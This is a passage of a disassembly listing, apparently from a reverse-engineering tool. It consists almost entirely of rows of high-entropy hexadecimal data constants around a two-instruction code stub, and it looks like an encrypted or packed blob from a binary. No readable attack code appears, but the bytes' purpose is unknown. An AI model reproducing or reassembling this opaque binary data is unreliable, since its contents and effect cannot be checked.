		dd 0AD4EFDBCh, 401A0760h, 1C17D74Dh, 2F826E42h,	0B24F4674h
		dd 0C9BB48B0h, 0A4C500F3h, 936C10FBh, 74A72756h, 0C06A1A3Ch
		dd 0B4965B52h, 858ED5C3h, 4327A24h, 22EC7950h, 102AAED7h
		dd 3A6E0ABBh, 54BECAF7h, 0EC25B5F2h, 4A820CDAh,	0D2A1497h
		dd 0FE71C2A6h, 47FB8D5h, 0B5F0C8ABh, 56F90636h,	0A1677A59h
		dd 8D4F66C3h, 968A83B3h, 54B88FB4h, 70B8FBCEh, 76E25B71h
		dd 0C78C9487h, 84880C73h, 0CBB4A2AAh, 0C2F5418Bh, 36146B03h
		dd 1A90C9D9h, 90E53880h, 0CB178E6Dh, 9CC537DDh,	0DC93DEACh
		dd 7E0E4E20h, 7F7DA051h, 66F5736h, 5B3BF47Ah, 86EF1194h
		dd 0E1B40612h, 0DDB8068h, 5537F64h, 87812A88h, 0A4AAE291h
		dd 1E51A23Ch, 0B6047249h, 462ED2E7h, 0BAD4AF8h,	88DC0872h
		dd 0AA11C0FFh, 3AD8F6FBh, 0B5189DDBh, 6829DA33h, 0E63AF692h
		dd 2E1059EFh, 0D95AC0D3h, 491BA500h, 71532A0Ah,	8028C74Ah
		dd 7D74BA86h, 18715972h, 475A4E81h, 5654924Bh, 0B33A4044h
		dd 24F463D3h, 0EAFE4702h, 38E6F83Fh, 2CAAFD54h,	62A6DEADh
		dd 8A90E06Ch, 234FC3B1h, 0BACA7BD0h, 21AEFB74h,	8656236Ch
		dd 7DFA8948h, 0A70102BBh, 0C5C82A86h, 1AC37AF6h, 85B829DDh
		dd 8D2153EFh, 697B85D8h, 8BB1B0A0h, 8BB4F188h, 7EE62824h
		dd 0E7703B22h, 0F904A18Bh, 5402F218h, 1C92897Bh, 0F35D616Ch
		dd 7311772Fh, 4EA40018h, 906F5908h, 6BE7416Ah, 0FA138695h
		dd 5038AD2Fh, 0E86C93F5h, 0C89195C5h, 0E35DDE0Eh, 5A622FE9h
		dd 0CC69D52Eh, 7FDDBBFFh, 355914E3h, 44C36866h,	87A93FF6h
		dd 5C543B86h, 8F73B3E3h, 8AEDC570h, 0C303AAA0h,	9455CB94h
		dd 0C382CB0Bh, 6885FDC9h, 3780B08Eh, 0F751E610h, 0FC47ADF2h
		db 49h,	7Eh, 97h
; ---------------------------------------------------------------------------

loc_494843:				; DATA XREF: seg000:off_42EC6Co
		add	al, 0F1h
		retn
; ---------------------------------------------------------------------------
		dw 0BB3h
		dd 0EF36A8DCh, 6E8B4EDEh, 578081EAh, 0CE184815h, 0A5A209FDh
		dd 0D9B1579Fh, 385807C6h, 0C9E83304h, 718B9A45h, 96623152h
		dd 1725D14Eh, 7A088417h, 19B50CB0h, 0F7EE5D6Eh,	3A97B5B6h
		dd 0D3EA2E93h, 4145F20Fh, 7854CC71h, 0EE3EA698h, 0DED36D3Ch
		dd 0AEF708D5h, 5068555Eh, 0F84E3C55h, 0D28AA296h, 0EE81301Fh
		dd 0D398776Bh, 6EA414A2h, 319CF6FCh, 382222AAh,	6252F57Fh
		dd 4316E9CBh, 50F51B71h, 4665CE8Ah, 3810F0A6h, 7A197A7Fh
		dd 0AD05D134h, 441A6EFCh, 0CD10E842h, 0A531195Eh, 5EFFD295h
		dd 7C15A43Fh, 0AA947825h, 831F9971h, 3BDB4F59h,	374BFCAh
		dd 0DEEB6D10h, 0AF3F6102h, 0EF08514Ch, 37607744h, 1A7BE4Ch
		dd 0B3C77B87h, 521BA4D8h, 1764B13Eh, 2C72FB38h,	3CEA01FCh
		dd 0DE986B62h, 0B0588C6Ah, 0C0FF1654h, 690A38ACh, 7B7850F2h
		dd 2CF4007Bh, 0AEF7E971h, 8D77A023h, 0DB62B86Bh, 142C4FA6h
		dd 418DDB3Bh, 9CE876F9h, 0AC0C9C79h, 8F5D218Eh,	5345F121h
		dd 0BF57C4B8h, 7CA4D9BFh, 0A3E1BD43h, 7A9FB40Bh, 60D99CA0h
		dd 4EF36224h, 0C2F86508h, 0FC64075Fh, 0BA8CDEA5h, 593C0C8Bh
		dd 6DB23BA9h, 0F9747F8Dh, 1F5BE378h, 0D6CA2E6Ch, 1A697B5Ah
		dd 0FD388135h, 261731DFh, 7AC14902h, 208AC25Dh,	9F50B717h
		dd 58EBF0B6h, 62372113h, 3A9FD8FCh, 6DF69B86h, 0C17131C9h
		dd 0F5BEF066h, 0D4BA2BB7h, 3B83D21h, 1F8F05BAh,	7E7D10CFh
		dd 27CF36C8h, 23DBC712h, 7D415056h, 0B93FAE0Bh,	0BEC27B91h
		dd 23E5EE4Ah, 3147BFB4h, 4082539Ah, 0B2A77C4Bh,	6E549181h
		dd 0D1DF4A60h, 788ECA52h, 0F253F8A4h, 0A4221711h, 58866DEFh
		dd 0B13AE7A4h, 0B409E516h, 2ABDC63Bh, 413FEF06h, 1C6FF4DEh
		dd 6153B726h, 0E1B08EFCh, 0EBA8BBCh, 0B8896625h, 93149861h
		dd 4D2A286Eh, 85AE9887h, 0F5DB020Bh, 0F73E1A38h, 6B623424h
		dd 9D947DB5h, 0D99D6915h, 432703DAh, 0C5696BFBh, 5AACF2ADh
		dd 0DF9EB87Eh, 0E36E9424h, 0BBA450C9h, 77EDADF0h, 74B8966Eh
		dd 0E767C7D1h, 3A45C991h, 1B2FFB91h, 9D28AA99h,	0C9411A8h
		dd 6121AE29h, 0A5BDA723h, 0C7AE2419h, 608B8B5Dh, 4D5518E8h
		dd 7538253Ch, 0EADBF5C6h, 0F5C9426Dh, 0E08DA44Ah, 228AD2F0h
		dd 0FCCB3C9Bh, 0A8D78E16h, 38A2701Ah, 83342D4Fh, 21954241h
		dd 1133848Ch, 0CF3DDA1Fh, 5ACC0CF6h, 0A2CBA052h, 74E7348Bh
		dd 586F8532h, 0F6172159h, 34FE5646h, 1A5CA56Bh,	809CBBFFh
		dd 7B295A2Dh, 8ECE0C4Ah, 0CCD3EE01h, 29E43DF5h,	6E91699Fh
		dd 0A35244F9h, 9DB8C2BBh, 0A89E73D0h, 532568DFh, 752D9FC7h
		dd 0BCC9F4FFh, 0E80D2EC5h, 9F9A3B8Dh, 3E5EFC32h, 0AC421477h
		dd 0AB24F608h, 0BEC46AC3h, 1E44A47h, 39B1ED70h,	5F339ED1h
		dd 3C339E9Ah, 8933859Ch, 86B1E0E4h, 0FCE90C4Ah,	0C29EC4A2h
		dd 0FD4EA38Ah, 13D66938h, 52AD61FDh, 4DBFAEBh, 5427D45h
		dd 201EEA65h, 0BA05AC03h, 4B8D68A0h, 0D276DD94h, 71C00130h
		dd 0D176F55Ch, 81D47E9Ch, 203426A1h, 0B6807428h, 0EE32A440h
		dd 2D25922Eh, 0FC7B7B5Ah, 70321827h, 5F21CFF9h,	7F79F4BFh
		dd 7A9ADABBh, 6B1F58E4h, 0CFD760D8h, 0DED93327h, 8D3A6842h
		dd 4A4D916Dh, 7B86DEDFh, 5E8E4E09h, 1A5792CCh, 8685F8Ch
		dd 0D600FD4Ch, 0A59D2449h, 39C89DD4h, 0AAE54CFBh, 0B9804F61h
		dd 656B85BAh, 42C22B06h, 9FDFEE6Eh, 0CD9296C7h,	0D8A2C948h
		dd 2488E017h, 0F371D0C1h, 0E450C981h, 20CDAA6Ah, 0E839E891h
		dd 63609354h, 0FE2FA111h, 7E50A5EBh, 3553A3F5h,	726C149h
		dd 0CE2FBF88h, 9965321Ch, 0EDCAF9F6h, 49A71369h, 690A5C6Eh
		dd 37F8356Ah, 29B53F24h, 0A052A9D7h, 590138E3h,	0EF0A15Eh
		dd 0F88A3C15h, 0F97886B7h, 6E4B51C2h, 0EB87B2A8h, 0BB5F7432h
		dd 37F48786h, 0BFF20C6Bh, 0CB02947Dh, 0CDDF5C4Fh, 0D778B374h
		dd 95CDD97Eh, 2C055205h, 0CA4317E7h, 0BB39D194h, 5DBFAE5h
		dd 0F2BBB9DAh, 97873726h, 0E21862E0h, 3BBADD9Dh, 718E1300h
		dd 0A180196Ch, 0A6353572h, 10C1BCF1h, 9ADD89D4h, 0B96E3151h
		dd 0DEC3113Fh, 9CCED070h, 27B4AC7Ah, 0E006A127h, 0E74131BDh
		dd 97745665h, 87EC65A4h, 0BBA3ABADh, 0B194B0AAh, 0A798B142h
		dd 6F7AA963h, 0F1DAF600h, 0C06D9CC0h, 73DBC7A6h, 35C22F14h
		dd 36355B8Bh, 1A749814h, 70851B8Ch, 974FCDF3h, 9ACA2CDDh
		dd 61540D83h, 0E104A552h, 0ED5E711Dh, 216D6ADBh, 3EA85A05h
		dd 98CB37Eh, 2B1B4622h,	0EC8F7C2Ah, 0C4AFA955h,	0FE4D3A04h
		dd 45593B1h, 0FE3FC8ABh, 851F9003h, 1C982FB6h, 0E28E82FDh
		dd 95CE61FFh, 0E8DCA4FAh, 0D5FA7FF2h, 622320CDh, 0F103F836h
		dd 54299F80h, 138D4EC9h, 253F974Dh, 0EF40C4F2h,	8D649AB0h
		dd 0AC6820C3h, 0C51B8C63h, 1AA77DF2h, 0C09ABCD9h, 0B261168Dh
		dd 8728B4CCh, 1311A4Fh,	0DD67AAA2h, 0E371B1D7h,	9807A810h
		dd 7B4204D8h, 7783FDA9h, 0F7A7F1E9h, 42889DF7h,	435042A4h
		dd 0F07ADC4Dh, 0C7B14542h, 25A42FFBh, 0CEA2AFE4h, 0A9DB6AC7h
		dd 1BA29A76h, 16D27636h, 0A2788CFEh, 4694AC1h, 3B0F8F34h
		dd 0EA31D783h, 2066B70Eh, 50CF5CD2h, 4AE7FCD6h,	541E04BEh
		dd 65002471h, 2E543A0Eh, 281D429Ch, 0D60FF6DDh,	9F3D24E9h
		dd 0A89C59F4h, 1F89D298h, 0BF94D152h, 292ADC0Ch, 2A0CB7DCh
		dd 0CFED97ABh, 0D7E6F89Bh, 2176B2C7h, 3127047h,	0B01C1086h
		dd 0F2FFE75Dh, 4256DD0h, 97759634h, 5246099Ah, 865D142Fh
		dd 0D5285F02h, 4F83F4DEh, 1DC1866Dh, 0DC2C7D64h, 2F0B723Eh
		dd 2A6755D7h, 0BBDAFB5h, 0F2488107h, 8CB1B3C5h,	9937775Fh
		dd 846202CEh, 0E0D34D84h, 85ABD08Eh, 0EB20FB69h, 2771A2D5h
		dd 2F7DBD9Bh, 2FBB4346h, 3D1AFDF4h, 32CFC7D5h, 51F0AE43h
		dd 0C028383Ah, 36F13EBFh, 0C6BBB263h, 392ADA2Dh, 0C4C84B41h
		dd 1A24CF12h, 0F5A803Bh, 1B1AC9D8h, 0D2522F83h,	0F1DBBD9Bh
		dd 5349B026h, 8A83E869h, 0ACB470A8h, 9C552E72h,	0FCB40418h
		dd 9040D95Eh, 8AFDBC72h, 0BE2EDA08h, 3DB88118h,	0CE4844E5h
		dd 1B31F41Dh, 6BE798DCh, 0D668C7E2h, 4E8BDA84h,	0ADBFF73Eh
		dd 764A1EF5h, 0E158D1BFh, 0F830607Ah, 0C5380D64h, 0FADFB16Eh
		dd 3B301D6Eh, 0D18705EDh, 0AD7947B4h, 26CB27C9h, 0B126F6C8h
		dd 5A8C2D7Bh, 0FCFB4E28h, 0ADFF9EB5h, 974312FFh, 0B76D3457h
		dd 75C9CE39h, 0ED2E5FE8h, 0FD65C48Ch, 2474E2C0h, 84C66C0Ch
		dd 5C02A01Dh, 415BF688h, 0F5B6F0ACh, 0C4E1720Eh, 0CDD1FD05h
		dd 5A4ACDE6h, 5CCF10BBh, 952B75A4h, 0E3CFDF4h, 276FD1DAh
		dd 611AE062h, 0A3B6BD9Ch, 1046C03Eh, 4917A802h,	8A6D624Bh
		dd 80B1AADh, 0C89FDF24h, 0F455E6B9h, 95FD65EDh,	0B0AAAD69h
		dd 8F9E930Ch, 63318ED1h, 280E56D1h, 2DC1F989h, 8A13B985h
		dd 76E17B0Ah, 239F34B0h, 0AF6590A7h, 0FE93DB2Ch, 0AF5252F5h
		dd 70EEC98Ch, 0B5BC118Ch, 4F159B2Dh, 0F7775A7Ah, 4C0CB383h
		dd 0B5848426h, 45FE5193h, 64F62F6Ch, 453601h, 0D7C66F64h
		dd 4A53297Ah, 2F6F39B1h, 0B34DB19Dh, 369DEFCDh,	0A059E2BBh
		dd 549C7484h, 100165E4h, 0FB73F0DBh, 7871938Ah,	14137F6Dh
		dd 7DB70FC3h, 0F451BB2h, 0AE5DB2AAh, 0A81A360Bh, 0A613AE84h
		dd 19A49C34h, 744182EAh, 672679B1h, 0AB36BC70h,	0EA55067Bh
		dd 0D08B0E6h, 0A873091Eh, 87081414h, 0E592E21h,	8E9732F7h
		dd 21BA52EBh, 8EB80E88h, 0C4310937h, 840A379Ch,	1393647Ch
		dd 6A06AE6Ch, 0CD15EA2Ch
		dd 10694F64h, 27BFA00h,	77071B85h, 0E79AF2C7h, 0DD30EF42h
		dd 4CADA664h, 3F6C3872h, 61089593h, 780E1139h, 54B61D3Bh
		dd 0BD0BC1AFh, 81E0F0CCh, 5F0864DAh, 55B13939h,	6E827DB6h
		dd 3CE18564h, 0D702E950h, 0A4589FBCh, 4FDD8F01h, 0E115F778h
		dd 9CE222AEh, 0FCEDA60Bh, 7A65E44Ch, 0B271B516h, 7A49412h
		dd 0F3767B59h, 4F1C1A0Ch, 659AF175h, 7E6FB674h,	785AAC9Dh
		dd 4790946Eh, 80932E75h, 0DBAE6D67h, 9011CF9h, 79E7BF66h
		dd 9707BF9Ah, 88F65DF7h, 15C4CB65h, 56AF57D3h, 5A21587Dh
		dd 79FCDB91h, 537EE282h, 0C55EBAB4h, 5AF87B9Dh,	0F26043DCh
		dd 145F5FD4h, 5BBD016Dh, 3C1559E1h, 0E7F76E21h,	513BBE30h
		dd 30202FDDh, 7D701C2Ah, 8235FDDh, 76D548D7h, 306FA6Ah
		dd 0C55F2083h, 0CE88A1CCh, 7AE7F74Fh, 5C46F45Dh, 38AD6E48h
		dd 1E22249Eh, 91F32E4Ah, 481E1D69h, 0AB36AE62h,	8F446618h
		dd 0FB083A47h, 0B146CBB7h, 889FEB0h, 0B661A09Ch, 9051C79Ch
		dd 64043EF5h, 69FEC142h, 162F9148h, 49F7C61h, 4436543Ch
		dd 769C8E8Bh, 230DF2D8h, 0B26EB7CCh, 0F2CC1840h, 160AD324h
		dd 0D97E8C3Eh, 0FDBEC00Ch, 82784818h, 0B4BDCFE8h, 45835BB7h
		dd 0F3481C2Ah, 0DEBB01AEh, 17682CE8h, 0F9C42A83h, 26950F7Bh
		dd 0C6BF5B8Ah, 7FF29843h, 0D6023BFEh, 0E2534625h, 633CC62Fh
		dd 12B0B130h, 31F33801h, 0FE15F4h, 8AAE2E94h, 0BD3956E2h
		dd 4C7C4Ch, 0CB74E5F7h,	51BE6B85h, 0FCE97257h, 0BF0E1235h
		dd 7FCDB4Fh, 498C25B0h,	1E3E3E7Bh, 0D447929Ch, 0FD4FB99Eh
		dd 83FCA24Dh, 42E19060h, 7165CA1Ch, 5228D008h, 0A70C1F70h
		dd 0EF15A9C5h, 5236A723h, 3F11EC7Ch, 7FF518B0h,	0ABDD6C4h
		dd 8CBDA187h, 0FF7018Eh, 3DDD2D16h, 0DB4A8067h,	9615FE1Ch
		dd 1883A0Ah, 0F2BD9B8Fh, 5A74ACE0h, 46933D28h, 1C00120Dh
		dd 79A2667h, 0C1A77828h, 4B20504Ch, 4D7DABBEh, 970FE1B8h
		dd 97E97AFAh, 4A157705h, 0FB47E959h, 203FD7Eh, 5C5AF1CBh
		dd 25839A16h, 672E8F9h,	5ED5E6F5h, 0F5FEEC83h, 8964772h
		dd 0EC474875h, 5282220Fh, 0BF171531h, 0C1BB699Fh, 28FE92A7h
		dd 267316DFh, 111F559Bh, 0C3058BB6h, 1E9B156Dh,	0FD7D8156h
		dd 7BEF71D5h, 0A52127F6h, 2F0B7679h, 0AB476D00h, 87CC3EC5h
		dd 8D1BFB9Eh, 0FC146661h, 6E8B1E46h, 1FF0FB3Fh,	0AB408B2Bh
		dd 57F7089Ch, 0EAD40896h, 619EB915h, 72B8FDB6h,	0C3FE606Fh
		dd 0EC6A6E89h, 0EE2C47FAh, 33997307h, 5E3B7BC9h, 647E9E4Fh
		dd 3E4AD72h, 521BF178h,	5240826Eh, 946B1F3Bh, 0F842B718h
		dd 0E0CDDC59h, 988FE59h, 8F6C0A2Fh, 53F8E83Bh, 8BD9ED95h
		dd 0EC64FEE2h, 57CF3B8Dh, 0F1F09510h, 876C4D19h, 0F0C9C150h
		dd 0C2625A9Ah, 6B3B902Fh, 5DC5A3Fh, 232BFABEh, 0CE4AFDBCh
		dd 7CEC919Dh, 7FE01D05h, 0BFD6B113h, 43C7EC54h,	0EC4120h
		dd 3C082D22h, 0FBA7588Eh, 1A74628Bh, 113B46ABh,	9D717CABh
		dd 2EB62D25h, 36D6362Fh, 66A6C926h, 0E0FA69E7h,	5C8B48ECh
		dd 0F6660011h, 0E77DBF69h, 4F461A14h, 0A61B0CDCh, 0F1248397h
		dd 0CA51C342h, 929DD782h, 388B8536h, 52E20F86h,	0CA216033h
		dd 35140375h, 9EABA283h, 1BF6DD20h, 199E621h, 6AB958C3h
		dd 0ADB3D93Bh, 2D22D04Fh, 0BF1A863Ah, 0DAF3AA20h, 32029C00h
		dd 0E6457951h, 6190742Fh, 2EB5A35Dh, 0ED2ADC80h, 0D4775EBEh
		dd 0D14110EFh, 95573B18h, 0DF9FD633h, 9F68F427h, 4E3C5431h
		dd 0D6576762h, 0D12961B6h, 1F246FCCh, 90E410CCh, 4A5F8B79h
		dd 9ACE8377h, 0A3B2E7FAh, 4BE976CAh, 604B0FF7h,	785F95E7h
		dd 0A0DEB079h, 0B92C542Bh, 7AABB5C3h, 0F8867040h, 0CA331021h
		dd 1A0EA166h, 0F799E5A9h, 8AE7AA7Bh, 0AC73544Eh, 7C5DE305h
		dd 0BFA50968h, 0C878322Ah, 8811461Dh, 1D3BCF8Eh, 9DEC1E80h
		dd 2056E192h, 749E427Dh, 7F0D421Bh, 0E4D878A0h,	7532C5E6h
		dd 0F3DAB735h, 998EFFD8h, 0A2BEA77Fh, 0A91C131Ah, 7D1FD9F4h
		dd 36231913h, 0D58C03D4h, 0C4C1B398h, 6C3B143Bh, 8CD3C28Ch
		dd 0E2F4D833h, 44634F66h, 5896E5F1h, 38083E6Ch,	0F06C6AC6h
		dd 25909BD8h, 0B28A8534h, 44DA4F16h, 38F60F8h, 0A0798594h
		dd 0D2DD6146h, 3B037072h, 0DB273896h, 0C7B6FB8h, 0F543474Fh
		dd 5C72B399h, 8F2BD0AAh, 939E0C6h, 7FA0E34Fh, 38C6023h
		dd 0AAA3217Fh, 0FF75BD17h, 0E030ADC9h, 2FF3133Ch, 0D549698h
		dd 0FC2C0278h, 42FE56D8h, 3352A8D7h, 11189888h,	0FBFB65BBh
		dd 96DCCDA3h, 0B8160C87h, 0FD88DC7Fh, 7A940EEBh, 62BC8C50h
		dd 0D8B355Ch, 43611AB3h, 0BCD20850h, 0BD5C8C45h, 0E152CACBh
		dd 480F684Fh, 3BC3254Bh, 0F9F2C0A3h, 91F6B3EEh,	6B29B589h
		dd 252E2C97h, 0FF6FE1A1h, 84518AAFh, 0DC49A823h, 0AB3574C9h
		dd 47D8465Dh, 0F3134029h, 558A558Fh, 0BF84DC1Ch, 87D41567h
		dd 5C1A4E1Bh, 0AC7FC3BFh, 3856C4BFh, 0B79CD485h, 6A1D3BFh
		dd 2BC585BCh, 79D68D5Fh, 0AE1D80A2h, 0AF6D7B6Dh, 5CAFF518h
		dd 0E88DE707h, 0E67B548Eh, 2A0CBD0Bh, 9B0A43ACh, 0FE86CADBh
		dd 89CC7A98h, 0E535BA45h, 5705C0F9h, 465CA551h,	1D10C12Ah
		dd 0A86F278Bh, 0A851C82Ch, 0A62251CDh, 0CBF8549Fh, 54B740D3h
		dd 0BFDA7D3Dh, 0A2A33D7Ch, 0BBCF8C1Ch, 94453E61h, 0A10604D3h
		dd 0A8A96F25h, 14CF0F7h, 0E58BA0EDh, 0C13FC0A3h, 53C56FB0h
		dd 0D2D0FCE5h, 0F28399B8h, 76E23665h, 2FE4C45Fh, 8664D20Ch
		dd 85143B7Ch, 0CC1CBF3Eh, 8910BA6Ch, 0E1ADBC8Eh, 28051655h
		dd 0CF37E3C5h, 58BF739Bh, 1D9F37A8h, 8CB7F831h,	783D8CB4h
		dd 0ECFC3DACh, 0DE86592Dh, 2CF5283Bh, 0C92837FFh, 0F4591B75h
		dd 7E57F046h, 0F2575B51h, 82A02535h, 0E9EEBBBBh, 0FA4E2B11h
		dd 0C9FCF469h, 7F407766h, 19C46881h, 67155DD2h,	7B358866h
		dd 580C77FDh, 0FF059045h, 92E910BEh, 88F24B2Dh,	0A5B6D00Dh
		dd 15AB4778h, 894AE9BCh, 5CDF5F44h, 0E1A5C1ADh,	0A4A02C63h
		dd 6FCCEE7Fh, 3870DF8Fh, 0D22DBFE6h, 0E0CA32A9h, 3C683CADh
		dd 3ABD98BDh, 79C6542Ah, 0B56A8410h, 0BA3F73E4h, 616B5991h
		dd 59935C9Ch, 58280224h, 4F971F8h, 7CFA17C6h, 0A2B7B3Ah
		dd 8438A2C3h, 0BD5C13C7h, 0B029D47h, 85E36670h,	0F47CAB8Bh
		dd 3EDAE10Dh, 6CE64744h, 0B870250h, 1A8DA909h, 0E2693B54h
		dd 475DBDDBh, 400498F1h, 0BFDD3C1Ch, 467A9241h,	60573478h
		dd 8403AD5Ch, 9624611Eh, 5B2D1AEEh, 0BB17E025h,	59DDF6D6h
		dd 6FA7E25Bh, 32D72CAh,	28F69930h, 115C1A33h, 0ED9E10Ah
		dd 467AE175h, 21230FC6h, 0E35D5348h, 0B8148283h, 0B6A94F4Bh
		dd 7C32B9C5h, 485AEA05h, 0A7A9A32Eh, 6DEA0631h,	0B62CD59Ch
		dd 0DCF4EC77h, 0BC3FFFAFh, 0CC5D848Ah, 283DBD1Ah, 13C42040h
		dd 4DCB5979h, 0E4D94E92h, 3FB488EAh, 0BB03F4A6h, 0FC420742h
		dd 0CA410BF6h, 8A0D1060h, 60BA9EA0h, 4E1AFA8h, 1237C2FAh
		dd 0A0D48BCCh, 2A6FB706h, 446D2B3Ah, 662D1801h,	82E85346h
		dd 0D3FE389Ah, 99819E5h, 0AF4FEF10h, 0D45516F7h, 0BE67993Eh
		dd 0ACEB3B2Ah, 0FCD9D0E6h, 27063EDAh, 1F4FF7D6h, 0B6A09D3Fh
		dd 89167F4Fh, 0C6CC1BBh, 0ACF565FAh, 1BB138Bh, 1A1399DCh
		dd 41D015DFh, 595705EEh, 97BF49A8h, 4D3037F0h, 0BC3FB39Bh
		dd 816AE5CFh, 0B09FDFB3h, 0D2C46ED6h, 0AA71CF75h, 0FF89C18Bh
		dd 29156BA5h, 0D98A020Eh, 3BF19C14h, 620D3C21h,	7A1545F3h
		dd 83514E07h, 1AA75E23h
		dd 0FF026D3Eh, 6F8372Eh, 1540D6C6h, 7414EC89h, 0CFDB2800h
		dd 440E62D1h, 2EE2C9CBh, 0E22B1FEDh, 0D05A5A58h, 0B9AFA42Eh
		dd 0C1584F15h, 0A1539EBBh, 0BED04537h, 0B072F6F7h, 77F57F8Fh
		dd 476E288Bh, 0F5DCACAAh, 7034F08Dh, 795F67F8h,	0B66B552Bh
		dd 580B349Eh, 53846F22h, 4FECE52Ah, 417189CEh, 0D224AE34h
		dd 8D040E7h, 0B13BAB72h, 266D8E3Dh, 0CD3A8D81h,	0BFE1ABBEh
		dd 6EE696FFh, 6BBDDD7Ah, 0D8D43C55h, 0A013A716h, 21CA5608h
		dd 1D4C2B66h, 931BA492h, 90BE0496h, 47926CE3h, 0FBA683Ah
		dd 70309DC9h, 563C5AB9h, 4B282711h, 0C0A4BDBFh,	8DFBC2E8h
		dd 0C084217h, 0D5D3AE05h, 2D046EFAh, 0C57E3950h, 0CF2AEE6Fh
		dd 0B637B0B2h, 0FD42EB7Ch, 9DCF1FA6h, 48466AB1h, 2FF895EDh
		dd 1CFBDFC4h, 2E1E5A87h, 0FEBE14B8h, 2D68FAC0h,	835A282Ah
		dd 0EBF21BBFh, 2E1C7216h, 0FDB315ECh, 5404B07Eh, 0EDFFEBAh
		dd 618208BFh, 0FE87A40Eh, 4149F3D9h, 3178AC86h,	2CC1FEC3h
		dd 9F6FF055h, 32030EC5h, 0B338D40Ch, 1601B26Ah,	61B80A5Dh
		dd 8C638596h, 710DF060h, 4A822BDh, 0BD993F15h, 5C63805Ch
		dd 0AD16FF83h, 545B99A3h, 96EF289Fh, 14C81B1Ch,	0E89DD376h
		dd 0F24918E2h, 838E0D0Bh, 0A0D64AB1h, 5A64E8C2h, 54724818h
		dd 0B7C09210h, 80607010h, 92CA1191h, 0DB969C49h, 0B39CC87Bh
		dd 9A4EEDADh, 898F1675h, 0F0B105E7h, 45736587h,	0EC13859Dh
		dd 83634D83h, 62C3F82Bh, 371A99C0h, 685AE80Ah, 0AB61F876h
		dd 0B0F01AE9h, 5D2597D6h, 0DECB06ABh, 0AABD0985h, 6A3FD289h
		dd 36CC5C1Ch, 54C7225Ch, 40E04675h, 0AF673600h,	2D0A3ACDh
		dd 6AE53091h, 0AFF7630Fh, 0F3714B5Dh, 0BF31207Fh, 4538C6DFh
		dd 9151CF56h, 0FA96EE8Eh, 6AEA02DEh, 926015D5h,	0AB633EC2h
		dd 0DF30972Dh, 0C98D2309h, 0E2CF2967h, 84B47953h, 0B5A3D915h
		dd 0D73DFFA4h, 94549B88h, 897B54FDh, 108F8BDBh,	2776D9CCh
		dd 728318AEh, 0FE779586h, 0DABB3AAh, 0DE34EC3Dh, 0E2E7CE3Ah
		dd 65F472AFh, 0FAC04E68h, 7A8DA796h, 0FA94E876h, 33E11D6Fh
		dd 0CE47EC8Dh, 0B8A65901h, 4A6E5D25h, 0E8111A3Bh, 4E358953h
		dd 83075FF3h, 0E576B337h, 9D2BE574h, 0D911B870h, 0BC8D52D9h
		dd 9207B832h, 309CB96Fh, 9C2F2A91h, 6585D8B7h, 0A88FA493h
		dd 58D8DB03h, 6BF7E9D3h, 0D3121D7Ah, 339A22EDh,	0B4F1A258h
		dd 303E7F90h, 9B22A93Ah, 1BCC27EAh, 8F7D5FDCh, 72FFB663h
		dd 76024A53h, 5D97FBFh,	0BAA7CB12h, 8EEAEC80h, 0CC1D2567h
		dd 0DE45EEADh, 0A13493E2h, 89D18BE3h, 762717C9h, 94B71495h
		dd 0F3F91CC3h, 919DC80Fh, 0E457B408h, 11B94996h, 0C54D08CCh
		dd 96859301h, 9D51A26Eh, 44EBA851h, 25E885BDh, 5F1802DDh
		dd 875F9B24h, 0A51F1E0Fh, 0FB53C006h, 0D98C22C8h, 45A606BEh
		dd 0A5B6E839h, 90FC0E16h, 421782Eh, 0F5705198h,	0DE58F807h
		dd 2FDB2E64h, 6133A390h, 891AE626h, 322CBA62h, 0DDCCF663h
		dd 0F8E7B1D3h, 581FCADBh, 0E9527F39h, 1D380392h, 0B8D13878h
		dd 800E52A8h, 7762AB6Ch, 2805F158h, 0F2FF2479h,	0E0768409h
		dd 5437DEAFh, 68D74216h, 14E026C7h, 9699590Eh, 526FA141h
		dd 89DAA150h, 0F24FC47h, 14F4A56Ch, 0C4AF1E5Fh,	1D23852h
		dd 2F29FF9Fh, 21C8ED91h, 54508EF4h, 0A91567D4h,	0D740155Eh
		dd 37D67F28h, 0D89BD4D0h, 0EBB877D5h, 0A5A2B1B9h, 0B1A18463h
		dd 51335489h, 0F83E9BB7h, 0D6EBB7AFh, 622F7DCAh, 82CC1E3Ah
		dd 0D97A1A17h, 119B57D1h, 0E04D2AEBh, 0B30ED8B4h, 3D5137A1h
		dd 0DD3B4AA4h, 50BBB504h, 367D70B4h, 0A4C19473h, 4A8660E0h
		dd 0FCD731D6h, 3C1C1115h, 0D1D41A90h, 36865666h, 86477132h
		dd 2DF09426h, 0A3FC1A5Ah, 0A7A0F69Eh, 84C5DA28h, 0C9B0E5EFh
		dd 0E75927C0h, 66400BCAh, 8F5B3658h, 0E1DB2044h, 9CA97D37h
		dd 0B9C2B402h, 7C8CA90Bh, 4346E08Dh, 6CB9BC25h,	0A79F75E8h
		dd 3FBB4AEDh, 7ABDF2B4h, 0A966B5BDh, 45896EDBh,	0A9BA40F3h
		dd 803CA551h, 164617ECh, 64FBC0EAh, 2CE45AC8h, 0B721CD47h
		dd 0EAE3A84Ah, 811FB244h, 0CF03F006h, 1F20F6B8h, 0E48BBDE5h
		dd 0CA82F4F1h, 0A0C85A1Ah, 0FD50E15Ch, 5D90E21Bh, 1967EF76h
		dd 102C7792h, 0D605E2C0h, 0CB2899A0h, 5AD7A921h, 0DB7BD09Dh
		dd 10A7CE1Ch, 0D4102B3Eh, 7FF58E3Eh, 0ADD46566h, 8D49D4E1h
		dd 30E775F4h, 84D30F41h, 239CE8A1h, 0CAF883A7h,	0C917E490h
		dd 0E050C96Fh, 0B5B33DBCh, 0CD900BBCh, 0B6FF57F6h, 0AE85CCD8h
		dd 43159C7Ah, 76669E60h, 725D77C2h, 0C96F6F8h, 74A2918Fh
		dd 79460660h, 40B8983Ah, 0FAFE1730h, 9880ABADh,	0BA54A824h
		dd 44993973h, 0C0127A46h, 0DB70E7F4h, 0E47B718Dh, 0F3F88373h
		dd 0FAE3842Ch, 219F98A3h, 39CEBC7h, 0EBD4D0DBh,	0DF537C9Fh
		dd 6486AEFh, 0C1E4EBF3h, 6948605Eh, 3CC239C5h, 62C4B8A5h
		dd 697E1043h, 6187417Dh, 10966F20h, 0D32E83B3h,	0A2ECFD87h
		dd 0D70406E7h, 79FD59CEh, 0BD2B25AFh, 8006023Ah, 0A23982F1h
		dd 0F5588588h, 16EB5B8Bh, 44EEE323h, 0D547BB64h, 0E9D6CEFAh
		dd 9605D700h, 66BD1D73h, 0F220105Eh, 0F1A014E2h, 0CF70428Fh
